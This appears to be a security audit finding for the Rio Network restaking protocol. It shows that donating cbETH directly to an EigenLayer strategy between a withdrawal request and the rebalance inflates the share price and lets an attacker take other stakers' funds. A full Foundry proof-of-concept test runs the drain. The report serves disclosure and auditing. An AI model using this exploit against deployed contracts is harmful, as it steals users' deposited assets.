Rural Tweed Lemur

high

# It's possible to steal funds via donations to Eigenlayer strategies

## Summary
It's possible to steal funds from the protocol by donating assets an Eigenlayer strategy.

## Vulnerability Detail
When requesting a withdrawal for an asset via [RioLRTCoordinator::requestWithdrawal()](https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTCoordinator.sol#L99) the protocol calculates the amount of shares owed to the caller based on:
1. The amount of `LRTTokens` that are being withdrawn
2. The current conversion rate of the asset Eigenlayer strategy via [IStrategy(strategy).underlyingToSharesView()](https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTAssetRegistry.sol#L220)

Then the withdrawal gets queued and the amount of shares owed cached by the protocol, we will call this `sharesOwed`.

The next step o complete the withdrawal is to call [RioLRTCoordinator::rebalance()](https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTCoordinator.sol#L121) where the protocol retrieves the `sharesOwed` for the epoch and converts the value back to assets via the current conversion rate of the asset Eigenlayer strategy via [IStrategy(strategy).sharesToUnderlyingView()](https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTAssetRegistry.sol#L230).

It's possible to extract value by donating tokens to the Eigenlayer strategy after [RioLRTCoordinator::requestWithdrawal()](https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTCoordinator.sol#L99) is called, but before [RioLRTCoordinator::rebalance()](https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTCoordinator.sol#L121). This works because when [RioLRTCoordinator::requestWithdrawal()](https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTCoordinator.sol#L99) is called the amount of shares owed is cached based on the current conversion rate of the strategy and when [RioLRTCoordinator::rebalance()](https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTCoordinator.sol#L121) is called, and the amount of shares owed converted back, those same shares will be worth more.

This attack is profitable when the increase in value of `sharesOwed` after the donation is bigger than the donation itself, which is possible because `sharesOwed` isn't necessarily deposited in the strategy and can just be the value expressed in shares of the amount of assets held in the deposit pool. As an extreme and simplified example, the Eigenlayer strategy can have 0 total shares minted but if the deposit pool contains `100e18` unit of asset it will be valued (assuming 1:1) at `100e18` shares. If then requested for withdrawal the `sharesOwed` parameter will be set at `100e18`. 

### POC
1. An LRT with 1 asset, `rETH`, has 100e18 rETH of deposits.
2. A new asset, `cbETH`, is added to the LRT. The Eigenlayer strategy of `cbETH` only has 1e18 `cbETH` staked.
3. An attacker deposits 100e18 `cbETH` in the LRT, receiving `LRTtokens`.
4. The attacker requests two withdrawals, half of his `LRTTokens` to withdraw `cbETH` and the other half to withdraw `rETH`.
5. The attacker transfers 1e18 `cbETH` to the Eigenlayer strategy directly. This doubles the value of each share.
6. Rebalance on `cbETH` is called, but because the share price is doubled all of the funds initially deposited by the attacker are withdrawn even if only half of the `LRTTokens` were used. The attacker recovered his initial deposit.
7. Rebalance on `rETH` is called and the other half of `LRTTokens` is used to withdraw `rETH`.

Copy-paste in `RioLRTCoordinator.t.sol`:

```solidity
function test_drainLiquidityViaDonation() public {
    //-> Setup
    address attacker = makeAddr("attacker");
    address previousLRTDepositors = makeAddr("previousLRTDepositors");
    address strategyStakers = makeAddr("strategyStakers");
    deal(CBETH_ADDRESS, attacker, 101e18);
    deal(RETH_ADDRESS, previousLRTDepositors, 100e18);
    deal(CBETH_ADDRESS, strategyStakers, 100e18);
    vm.startPrank(attacker);
    cbETH.approve(address(reLST.coordinator), type(uint256).max);
    cbETH.approve(address(CBETH_STRATEGY), type(uint256).max);
    cbETH.approve(address(strategyManager), type(uint256).max);
    reLST.token.approve(address(reLST.coordinator), type(uint256).max);
    vm.stopPrank();
    vm.startPrank(previousLRTDepositors);
    rETH.approve(address(reLST.coordinator), type(uint256).max);
    rETH.approve(address(strategyManager), type(uint256).max);
    reLST.token.approve(address(reLST.coordinator), type(uint256).max);
    vm.stopPrank();

    //-> The LRT has 100e18 rETH of liquidity
    vm.prank(previousLRTDepositors);
    reLST.coordinator.deposit(RETH_ADDRESS, 100e18);

    //-> The cbETH strategy of EigenLayer has 1e18 cbETH of liquidity
    vm.startPrank(strategyStakers);
    cbETH.approve(address(strategyManager), type(uint256).max);
    strategyManager.depositIntoStrategy(address(CBETH_STRATEGY), CBETH_ADDRESS, 1e18);
    vm.stopPrank();
    
    //->Cache starting balances of Alice
    uint256 attackerInitialcbETHBalance = cbETH.balanceOf(attacker);
    uint256 attackerInitialrETHBalance = rETH.balanceOf(attacker);

    //-> Alice deposits 100e18 cbETH
    vm.prank(attacker);
    reLST.coordinator.deposit(CBETH_ADDRESS, 100e18);

    //-> Alice requests two withdrawals:
    //  1. Withdraw cbETH with half of his LRTTokens
    //  2. Withdraw rETH with the other half
    vm.startPrank(attacker);
    reLST.coordinator.requestWithdrawal(CBETH_ADDRESS, reLST.token.balanceOf(attacker)/2);
    reLST.coordinator.requestWithdrawal(RETH_ADDRESS, reLST.token.balanceOf(attacker));
    vm.stopPrank();
    
    //-> Alice donates 1e18 cbETH to the Eigenlayer strategy directly, because the strategy already has 1e18
    //cbETH in liquidity adding an extra 1e18 will double the value
    vm.prank(attacker);
    cbETH.transfer(address(CBETH_STRATEGY), 1e18);

    //-> Rebalance is called on for both the cbETH and rETH assets
    skip(reLST.coordinator.rebalanceDelay());
    vm.startPrank(EOA, EOA);
    reLST.coordinator.rebalance(CBETH_ADDRESS);
    reLST.coordinator.rebalance(RETH_ADDRESS);
    vm.stopPrank();

    //-> Alice completes her withdrawals
    //  1. All of the 100e18 cbETH she initially deposited are withdrawn by using only half of her LRTTokens, because we doubled the shares value
    //  2. ~48e18 rETH are withdrawn using the other half of her LRTTokens
    vm.startPrank(attacker);
    reLST.withdrawalQueue.claimWithdrawalsForEpoch(IRioLRTWithdrawalQueue.ClaimRequest({asset: CBETH_ADDRESS, epoch: 0}));
    reLST.withdrawalQueue.claimWithdrawalsForEpoch(IRioLRTWithdrawalQueue.ClaimRequest({asset: RETH_ADDRESS, epoch: 0}));
    vm.stopPrank();

    //-> Alice profited
    uint256 CBETH_TO_ETH = 1.0555 ether; //setted in setup
    uint256 RETH_TO_ETH = 1.0961 ether; //setted in setup
    uint256 attackerFinalcbETHBalance = cbETH.balanceOf(attacker);
    uint256 attackerFinalrETHBalance = rETH.balanceOf(attacker);
    uint256 attackerInitialValueInETH = attackerInitialcbETHBalance * CBETH_TO_ETH / 1e18 + attackerInitialrETHBalance * RETH_TO_ETH / 1e18;
    uint256 attackerFinalBalanceInETH = attackerFinalcbETHBalance * CBETH_TO_ETH / 1e18 + attackerFinalrETHBalance * RETH_TO_ETH / 1e18;

    assertGt(attackerFinalBalanceInETH, attackerInitialValueInETH);
}
```
## Impact
Funds can be stolen from stakers.

## Code Snippet

## Tool used

Manual Review

## Recommendation
Maybe I'm missing something but a fix for this doesn't seem trivial, maybe the idea to deposit the assets into the strategies immediately should be taken in considered.
